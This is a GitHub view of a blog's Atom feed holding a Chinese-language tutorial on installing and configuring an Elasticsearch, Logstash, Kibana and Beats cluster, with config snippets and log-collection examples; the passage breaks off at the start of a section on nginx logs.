-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
511 lines (297 loc) · 565 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Frdqy的博客</title>
<subtitle>记录默默到无闻的学习路</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://yoursite.com/"/>
<updated>2021-06-08T14:45:10.769Z</updated>
<id>http://yoursite.com/</id>
<author>
<name>Frdqy</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>ELK</title>
<link href="http://yoursite.com/2021/06/08/ELK/"/>
<id>http://yoursite.com/2021/06/08/ELK/</id>
<published>2021-06-08T14:43:12.000Z</published>
<updated>2021-06-08T14:45:10.769Z</updated>
<content type="html"><![CDATA[<h3 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h3><p>ELK是ElasticSearch、Logstash、kibana的组合。logstash部署在要收集日志的主机上，作为一个logagent，它将数据收集、处理、输出到es中，然后我们通过kibana可以将es的数据显示出来。</p><a id="more"></a><h4 id="ES"><a href="#ES" class="headerlink" title="ES"></a>ES</h4><h5 id="节点类型"><a href="#节点类型" class="headerlink" title="节点类型"></a>节点类型</h5><p>一个ES集群由多个节点构成，节点有几种身份：</p><p>Master：主节点。<code>node.master = true</code>设置该配置表面该节点参与master的选举（默认true，一般和数据节点分开）。主节点统计各个node节点信息、集群状态、索引的创建和删除、索引的分配、node的关闭</p><p>Slave：从节点。从master同步数据、等待机会成为Master</p><p>Data：数据节点。<code>node.data = true</code>设置该配置时该节点即作为数据节点（默认为true，一般和master节点分开）</p><p>Coordinating：协调节点。<code>node.master = false</code>和<code>node.data = false</code>，两个参数如此配置时，该节点只处理路由请求、索引分发、处理搜索等操作</p><h5 id="集群状态"><a href="#集群状态" class="headerlink" title="集群状态"></a>集群状态</h5><p>Green：表示集群各节点运行正常，而且没有丢失任何数据，各主分片和副本分片都运行正常</p><p>Yellow：表示由于某个节点宕机或者其他情况引起的node节点无法连接、副本分片丢失等场景，但是还没有丢失任何数据</p><p>Red：表示由于某个节点宕机或者其他情况引起的主分片丢失及数据丢失</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 192.168.64.132:9200 为集群某个节点，不需要是master</span></span><br><span class="line">curl http://192.168.64.132:9200/_cluster/health?pretty=true</span><br><span class="line">{</span><br><span class="line">"cluster_name": "frdqy-es-cluster",# 集群名称</span><br><span class="line">"status": "green",# 集群状态</span><br><span class="line">"timed_out": false,# </span><br><span class="line">"number_of_nodes": 3,# 集群节点数</span><br><span class="line">"number_of_data_nodes": 3,# 集群数据节点数（node.data=true的节点）</span><br><span class="line">"active_primary_shards": 5,# 可用的主分片数量</span><br><span class="line">"active_shards": 10,# 可用的主分片和副本分片总量</span><br><span class="line">"relocating_shards": 0,# 正在迁移的分片数</span><br><span class="line">"initializing_shards": 0,# 正在初始化的分片数</span><br><span class="line">"unassigned_shards": 0,# 未分配的分片数</span><br><span class="line">"delayed_unassigned_shards": 0,# 延时待分配到具体节点上的分片数</span><br><span class="line">"number_of_pending_tasks": 0,# 待处理的任务数，指主节点创建索引并分配shards等任务</span><br><span class="line">"number_of_in_flight_fetch": 0,# </span><br><span class="line">"task_max_waiting_in_queue_millis": 0,# </span><br><span class="line">"active_shards_percent_as_number": 100# 可用分片数占总分片的比例</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="Logstash"><a href="#Logstash" class="headerlink" title="Logstash"></a>Logstash</h4><p>Logstash是开源的数据收集引擎，可以水平伸缩，而且logstash是整个ELK中拥有最多插件的一个组件，其可以接收来自不同来源的数据并统一输出到指定的且可以是多个不同目的地。插件一般分为input、filter、output（输入、处理、输出）</p><h5 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h5><p>string：字符串</p><p>array：数组，可以是单个或者多个字符串值</p><p>hash：键值对，多个键值对用空格分离而不是逗号</p><p>codec：用来表示数据编码。用于input和output段</p><p>number：必须是有效的数值，浮点数或者整数</p><p>boolean：布尔值</p><p>bytes：指定字节单位</p><p>password：字符串</p><p>path：系统路径</p><h5 id="常用插件"><a href="#常用插件" class="headerlink" title="常用插件"></a>常用插件</h5><h6 id="Input"><a href="#Input" class="headerlink" title="Input"></a>Input</h6><p>stdin：标准输入，常用于测试</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">input {</span><br><span class="line"> stdin {</span><br><span class="line"> type = "string"</span><br><span class="line"> tags = ["add"]</span><br><span class="line"> codec="plain"</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>file：文件读取</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">input {</span><br><span class="line"> file {</span><br><span class="line"> path = ["/var/log/*.log","/var/log/message"] # logstash只支持文件的绝对路径</span><br><span class="line"> type = "system" # type记录文件类型，定义的变量为全局变量，其他插件都可以调用，用于标记收集的不同日志，可以用于在output插件里作为判断条件，判断用哪个output插件处理（[type]来引用变量）</span><br><span class="line"> start_position = "beginning"# 从文件的起始读取文件，默认为end</span><br><span class="line"> start_interval = 1# 采集间隔，默认为1s</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>redis：从redis中读取</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">input {</span><br><span class="line"> redis { </span><br><span class="line"> data_type="list" </span><br><span class="line"> key="logstash-nginx" </span><br><span class="line"> host="192.168.1.250" </span><br><span class="line"> port=6379 </span><br><span class="line"> db=1 </span><br><span class="line"> threads=5</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>tcp：网络传输</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">input {</span><br><span class="line"> tcp {</span><br><span class="line"> port = 8888 # 定义tcp监听端口</span><br><span class="line"> codec="json" # 规定传入的数据为json格式，k/v结构方便分析</span><br><span class="line"> mode = "server"</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>syslog：监听在514端口的系统日志信息，会解析成RFC3164格式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">input {</span><br><span class="line"> syslog {</span><br><span class="line"> port = "514"</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>beats：接收beats的输入（如filebeats）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">input {</span><br><span class="line"> beats {</span><br><span class="line"> port => "5634"</span><br><span class="line"> codec => "json"</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h6 id="Filter"><a href="#Filter" class="headerlink" title="Filter"></a>Filter</h6><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">filter {</span><br><span class="line"> geoip {</span><br><span class="line"> source => "clientip"</span><br><span class="line"> target => "geoip"</span><br><span class="line"> database => "/path/to/file" # 从maxmind.com下载geoip的mmdb文件</span><br><span class="line"> add_field => ["[geoip][coordinates]","%{[geoip][longitude]}"]</span><br><span class="line"> add_field => ["[geoip][coordinates]","%{[geoip][latitude]}"]</span><br><span class="line"> }</span><br><span class="line"> mutate {</span><br><span class="line"> convert => ["[geoip][coordinates]","float"]</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h6 id="Output"><a href="#Output" class="headerlink" title="Output"></a>Output</h6><p>stdout：标准输出，常用于测试</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output { stdout { codec = rubydebug workers = 2 }}</span><br></pre></td></tr></table></figure><p>file：输出保存为文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output { file { path = "/path/to/%{+yyyy/MM/dd/HH}/%{host}.log.gz" message_format = "%{message}" gzip = true }}</span><br></pre></td></tr></table></figure><p>elasticsearch：保存进es </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output { elasticsearch { hosts => ["192.168.64.132:9200"]# 或者cluster => “ClusterName“ index => "logstash-%{type}-%{+YYYY.MM.dd}"# 索引名，统一格式，方便kibana导入，会将统一类型的日志全部导入这里的type＝input中的type值 document_type => "nginx" workers => 1# 启动一个进程 flush_size => 20000# 攒够20000 条数据一次性发给ES，默认500条 idle_flush_time => 10# 如果10s内没攒够 20000 条也发一次给ES,默认1s template_overwrite => true }}</span><br></pre></td></tr></table></figure><p>redis：输出到redis缓存</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output{ redis { host="192.168.1.250" port=6379 db=1 data_type="list" key="logstash-nginx"}}</span><br></pre></td></tr></table></figure><p>tcp：输出到网络</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output { tcp { host = "192.168.0.2" port = 8888 codec = json_lines} }</span><br></pre></td></tr></table></figure><p>exec：调用命令执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output {exec {command => "sendsms.pl \"%{message}\" -t %{user}"}}</span><br></pre></td></tr></table></figure><p>email：可以输出到邮件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">output {email {to => "[email protected],[email protected]"cc => "[email protected]"via => "smtp"subject => "Title is %{title}"options => {smtpIporHost => "localhost",port => 25,domain => "localhost.localdomain",userName => nil,password => nil,authenticationType => nil,starttls => true}htmlbody => ""body => ""attachments => ["/path/to/filename"]}}</span><br></pre></td></tr></table></figure><h5 id="sincedb"><a href="#sincedb" class="headerlink" title="sincedb"></a>sincedb</h5><p>logstash重启后也能知道上次收集的日志位置，就是通过sincedb文件来实现的。因此可能出现某次即使设置了start_position，logstash也没有从文件头开始读，就是因为sincedb的原因，这些文件可以手动删掉，下次就会重新开始读取。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 其中该文件记录的第一列为收集文件的inode，最后一列数字为记录位置cat /var/lib/logstash/plugins/inputs/file/.sincedb_f5fdf6ea0ea92860c6a6b2b354bfcbbc659893 0 64768 6450496 1618713930.768811 /var/<span class="built_in">log</span>/syslog<span class="comment"># 在插件中手动指定sincedb_path，可以用作测试sincedb_path => "/dev/null"</span></span></span><br></pre></td></tr></table></figure><h3 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h3><h4 id="小型架构-1"><a href="#小型架构-1" class="headerlink" title="小型架构-1"></a>小型架构-1</h4><p><img src="/2021/06/08/ELK/%E6%9E%B6%E6%9E%84-%E5%B0%8F%E5%9E%8B-1.png" alt="架构-小型-1"></p><h4 id="小型架构-2"><a href="#小型架构-2" class="headerlink" title="小型架构-2"></a>小型架构-2</h4><p><img src="/2021/06/08/ELK/%E6%9E%B6%E6%9E%84-%E5%B0%8F%E5%9E%8B-2.png" alt="架构-小型-2"></p><h4 id="中型架构"><a href="#中型架构" class="headerlink" title="中型架构"></a>中型架构</h4><p><img src="/2021/06/08/ELK/%E6%9E%B6%E6%9E%84-%E4%B8%AD%E5%9E%8B-1.png" alt="架构-中型-1"></p><h4 id="大型架构"><a href="#大型架构" class="headerlink" title="大型架构"></a>大型架构</h4><p><img src="/2021/06/08/ELK/%E6%9E%B6%E6%9E%84-%E5%A4%A7%E5%9E%8B.png" alt="架构-大型"></p><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><h4 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h4><p>192.168.64.132、192.168.64.133、192.168.64.134：三台es主机，每台主机一个系统盘和一个数据盘，在es配置文件中将数据和日志都放到挂载的数据盘中。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 以下需要在3个服务器均执行# 加独立数据盘，做文件系统（ext4为例）mkfs.ext4 /dev/sdb# 挂载磁盘到/data下作为es的数据和日志目录mkdir /datamount /dev/sdb /data# 使用uuid将其写入/etc/fstab（blkid获取uuid值）UUID="2be9d40a-ada5-49ac-a947-350745e96e61" /data ext4 defaults 0 0# 优化# 将内核参数调大一点，在启动时如果报错再相应调整（文件描述符数量等）# 注意limit需要配置es用户的资源限制（默认只有root用户）vim /etc/security/limits.confvim /etc/sysctl.conf# 修改启动文件vim /usr/lib/systemd/system/elasticsearch.serviceLimitNOFILE=1000000LimitNPROC=65535LimitMEMLOCK=infinitysystemctl daemon-reload</span></span><br></pre></td></tr></table></figure><h4 id="ES-1"><a href="#ES-1" class="headerlink" title="ES"></a>ES</h4><p><img src="/2021/06/08/ELK/%E5%AE%89%E8%A3%85es-deb.png" alt="image-20201227165718636"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 下载指定版本的elk套件（本次使用7.6.1），在清华源下载，根据首字母选择不同的组件https://mirrors.tuna.tsinghua.edu.cn/elasticstack/7.x/apt/pool/main/# 下载的deb文件使用dpkg安装，会创建es用户用来启动essudo dpkg -i elasticsearch-7.6.1-amd64.deb# 根据“配置”段来更新配置文件# 修改/data目录的权限（即数据存放位置的权限）也可以修改elasticserach.serivce启动文件，以root启动，不推荐chown elasticsearch.elasticsearch /data# 启动服务systemctl start elasticsearch# 查看服务状态# 有报错的话可以到log目录下看，文件是集群名称的log文件systemctl status elasticsearch</span></span><br></pre></td></tr></table></figure><h5 id="插件"><a href="#插件" class="headerlink" title="插件"></a>插件</h5><h6 id="head"><a href="#head" class="headerlink" title="head"></a>head</h6><p>elasticsearch-head，一个es的web前端插件，可以显示集群信息。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># https://github.com/mobz/elasticsearch-head#running-with-built-in-server# 1.x 2.x 5.x用的多，现在7.x也可以使用，需要手动编译apt updateapt install npmcd /tmpgit clone git://github.com/mobz/elasticsearch-head.gitcd elasticsearch-headnpm installnpm run start &</span></span><br></pre></td></tr></table></figure><p><img src="/2021/06/08/ELK/head%E6%8F%92%E4%BB%B6.png" alt="image-20201227203124161"></p><h6 id="cerebro"><a href="#cerebro" class="headerlink" title="cerebro"></a>cerebro</h6><p>较新且美观的es前端插件</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># https://github.com/lmenezes/cerebrowget https://github.com/lmenezes/cerebro/releases/download/v0.9.3/cerebro-0.9.3.tgztar xvf cerebro-0.9.3.tgzcd cerebro-0.9.3./bin/cerebro &</span></span><br></pre></td></tr></table></figure><p>手动创建索引测试，7.x开始不指定shards的数量的话是默认1个shard。</p><p><img src="/2021/06/08/ELK/cerebro-1.png" alt="image-20201228224929040"></p><p>创建索引后查看集群情况，可以看到主shard和副本shard都是放在不同的节点上。</p><p><img src="/2021/06/08/ELK/cerebro-2.png" alt="image-20201228225249557"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在node1上可以看到数据目录的索引目录下有其对应shard号的目录，注意索引目录名称是es hash随机的，老版本是索引名称root@dqy-master1:/data/esdata/nodes/0/indices/Cro2VhwfR-27h-3Pw1YYOw# ls -lrttotal 20drwxr-xr-x 5 elasticsearch elasticsearch 4096 Dec 28 14:50 3drwxr-xr-x 5 elasticsearch elasticsearch 4096 Dec 28 14:50 0drwxr-xr-x 5 elasticsearch elasticsearch 4096 Dec 28 14:50 2drwxr-xr-x 5 elasticsearch elasticsearch 4096 Dec 28 14:50 4drwxr-xr-x 2 elasticsearch elasticsearch 4096 Dec 28 14:50 _stateroot@dqy-master1:/data/esdata/nodes/0/indices/Cro2VhwfR-27h-3Pw1YYOw# pwd/data/esdata/nodes/0/indices/Cro2VhwfR-27h-3Pw1YYOw</span></span><br></pre></td></tr></table></figure><h4 id="Logstash-1"><a href="#Logstash-1" class="headerlink" title="Logstash"></a>Logstash</h4><p>logstash的版本与es版本最好一致</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 下载指定版本的elk套件（本次使用7.6.1），在清华源下载，根据首字母选择不同的组件https://mirrors.tuna.tsinghua.edu.cn/elasticstack/7.x/apt/pool/main/dpkg -i logstash-7.6.1.deb<span class="comment"># 可以手动-e选项进行命令行测试/usr/share/logstash/bin/logstash -e ' input { file { path => ["/var/log/syslog"] start_position => "beginning" } } output { elasticsearch { hosts => ["192.168.64.133:9200"] } } '# 以服务的方式启动systemctl start logstashsystemctl status logstash# 启动日志tail -f /var/log/logstash/logstash-*</span></span></span><br></pre></td></tr></table></figure><h4 id="Kibana"><a href="#Kibana" class="headerlink" title="Kibana"></a>Kibana</h4><p>kibana版本依旧要与es和logstash保持一致</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 下载指定版本的elk套件（本次使用7.6.1），在清华源下载，根据首字母选择不同的组件https://mirrors.tuna.tsinghua.edu.cn/elasticstack/7.x/apt/pool/main/dpkg -i kibana-7.6.1-amd64.deb<span class="comment"># systemd管理服务systemctl start kibana</span></span></span><br></pre></td></tr></table></figure><h4 id="MetricBeat"><a href="#MetricBeat" class="headerlink" title="MetricBeat"></a>MetricBeat</h4><p>主要用于收集主机日志（主要是CPU、内存、网卡流量）。不过用的比较少，一般zabbix可以满足，但是beat可以二开。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://artifacts.elastic.co/downloads/beats/metricbeat/metricbeat-7.6.1-amd64.debdpkg -i metricbeat-7.6.1-amd64.deb</span><br></pre></td></tr></table></figure><h4 id="FileBeat"><a href="#FileBeat" class="headerlink" title="FileBeat"></a><strong>FileBeat</strong></h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.6.1-amd64.debdpkg -i filebeat-7.6.1-amd64.deb</span><br></pre></td></tr></table></figure><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><h4 id="ES-2"><a href="#ES-2" class="headerlink" title="ES"></a>ES</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 三台服务器的cluster.name必须一致cluster.name: frdqy-es-cluster# node.name每个节点的值不同node.name: node-1# elasticsearch目录不需要提前创建，es会自动创建path.data: /data/elasticsearchpath.logs: /data/elasticsearch# 监听ip以及客户端连接端口network.host: 0.0.0.0http.port: 9200# 启动时发现其他节点的ip列表（自身也要）discovery.seed_hosts: ["192.168.64.132", "192.168.64.133", "192.168.64.134"]# 可以选举为master的节点ip列表cluster.initial_master_nodes: ["192.168.64.132", "192.168.64.133", "192.168.64.134"]# n个节点启动后才允许处理数据，一般为总节点数的一半gateway.recover_after_nodes: 2# 删除索引时必须显示指定索引名称action.destructive_requires_name: true# 一般前端插件需要配置如下两个配置# 表示es允许跨域的http请求http.cors.enabled: true# 指定跨域请求来自何处http.cors.allow-origin: "*"</span></span><br></pre></td></tr></table></figure><p>es的jvm配置，在jvm.options中配置。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 修改es运行时占用内存，最大建议32G（或一半物理机内存）# 这个是jvm堆内内存大小，实际使用可能比这个值大，因为es使用堆外缓冲区进行网络通信，以及操作系统内存来访问文件等-Xms1g-Xmxlg</span></span><br></pre></td></tr></table></figure><p>index创建机制</p><ul><li>按天创建<ul><li>访问量较大的业务日志，如各种Web服务的访问日志</li></ul></li><li>按周创建<ul><li>网络设备的日志，web服务的错误日志</li></ul></li><li>按月创建<ul><li>系统日志，/var/log/message /var/log/syslog</li></ul></li></ul><h4 id="Logstash-2"><a href="#Logstash-2" class="headerlink" title="Logstash"></a>Logstash</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> logstash的配置文件放在/etc/logstash/conf.d，启动时会加载这个目录下的所有配置文件<span class="comment"># syslog-es.conf 为例input { file { path => ["/var/log/syslog"]# 注意这里的文件必须是logstash可读的，注意权限 start_position => "beginning" }}output { elasticsearch { hosts => ["192.168.64.133:9200"] }}# 检测配置文件是否有错/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/syslog-es.conf -t</span></span></span><br></pre></td></tr></table></figure><h4 id="MetrciBeat"><a href="#MetrciBeat" class="headerlink" title="MetrciBeat"></a>MetrciBeat</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">setup.kibana: host:</span> <span class="string">"192.168.64.133:5601"</span> <span class="attr">output.elasticsearch: hosts:</span> <span class="string">["192.168.64.132:9200",</span> <span class="string">"192.168.64.133:9200"</span><span class="string">,</span> <span class="string">"192.168.64.134:9200"</span><span class="string">]</span></span><br></pre></td></tr></table></figure><h4 id="FileBeat-1"><a href="#FileBeat-1" class="headerlink" title="FileBeat"></a>FileBeat</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">filebeat.inputs:- type:</span> <span class="string">log</span> <span class="comment"># Change to true to enable this input configuration. enabled: true # Paths that should be crawled and fetched. Glob based paths. paths: - /var/log/*.log # 为收集的日志添加字段，用于给logstash的output添加条件 fileds: type: nginx-error host: 192.168.64.132# 注意filebeat的输出只能同时有一个# 一般不会直接写到es中，此处用于测试output.elasticsearch: # Array of hosts to connect to. hosts: ["192.168.64.132:9200", "192.168.64.133:9200", "192.168.64.134:9200"] # 也可以写到文件中测试output.file path: "/tmp" filename: "filebeat.log" # 输出到redisoutput.redis: hosts: [":6379"] password: "1234" key: "dqy" db: 1 timeout: 10 # 输出到logstashoutput.logstash: hosts: ["192.168.64.132:5044","192.168.64.132:5045"] loadbalance: true # 循环输出到两个logstash worker: 5 # 启动几个工作进程</span></span><br></pre></td></tr></table></figure><h4 id="Kibana-1"><a href="#Kibana-1" class="headerlink" title="Kibana"></a>Kibana</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server.port:</span> <span class="number">5601</span><span class="comment"># 监听端口server.host: "0.0.0.0"# 监听地址elasticsearch.hosts: ["http://192.168.64.133:9200"]# 指定es地址kibana.index: ".kibana"# 设置kibana自己的es索引，用于保存视图、dashboard和视图</span></span><br></pre></td></tr></table></figure><p>创建index pattern。如下图，注意pattern必须能够匹配一个已有的索引，且该索引必须有数据，没有数据这里是创建不了index pattern的。</p><p>这个index pattern主要用来匹配变化的索引（比如索引名称按照日期来变，这里的*可以通配匹配到）</p><p><img src="/2021/06/08/ELK/kibana-index-pattern.png" alt="image-20201230192049905"></p><p>创建index pattern后就可以使用discover来看es的数据</p><p>Availabel fields字段可以手动点击add，add后会放到selected field字段，之后在右侧就只显示每条数据选中的字段</p><p><img src="/2021/06/08/ELK/kibana-discover.png" alt="image-20201230193618455"></p><h3 id="日志收集实例"><a href="#日志收集实例" class="headerlink" title="日志收集实例"></a>日志收集实例</h3><h4 id="系统日志"><a href="#系统日志" class="headerlink" title="系统日志"></a>系统日志</h4><p>需要注意目标文件权限问题。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"># 授权相关文件chmod 644 /var/log/syslog# 使用logstash检查配置是否正确，若输出Configuration OK则配置没有问题/usr/share/logstash/bin/logstash -f /etc/logstash/conf.d/syslog-es.conf -t# cat /etc/logstash/conf.d/syslog-es.confinput { file { path => ["/var/log/syslog"] start_position => "beginning" start_interval => "3" type => "syslog" }}output { if [type] == "syslog" { elasticsearch { hosts => ["192.168.64.133:9200"] index => "syslog-64.133-%{+YYYY.MM.dd}" } }}</span><br></pre></td></tr></table></figure><h4 id="Tomcat日志"><a href="#Tomcat日志" class="headerlink" title="Tomcat日志"></a>Tomcat日志</h4><p>日志格式一般会设置为json格式，所以需要设置编码格式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">input { file { path => "/usr/local/tomcat/logs/localhost_access_log.*.log" start_position => "end" type => "tomcat-access-log" codec => "json" }}output { if [type] == "tomcat-access-log" { elasticsearch { hosts => ["192.168.64.133:9200"] index => "logstash-tomcat-access-%{+YYYY.MM.dd}" } }}</span><br></pre></td></tr></table></figure><h4 id="Java多行错误日志合并"><a href="#Java多行错误日志合并" class="headerlink" title="Java多行错误日志合并"></a>Java多行错误日志合并</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"># 测试input { stdin { codec => multiline { pattern => "^\[" # 需要匹配的字符 negate => "true" # 指匹配pattern后时候触发合并 what => "previous" # 指匹配pattern后前向合并 } }}output { stdout { codec => "rubydebug" # 适合调试型输出 }}# 实际input { file { path => "/elk/logs/ELK-cluster.log" type => "javalog" start_position => "beginning" codec => multiline { pattern => "^\[" negate => true what => "previous" } }}output { if [type] == "javalog" { elasticsearch { hosts => ["192.168.64.133:9200"] index => "javalog-%{+YYYY.MM.dd}" } }}</span><br></pre></td></tr></table></figure><h4 id="nginx日志"><a href="#nginx日志" class="headerlink" 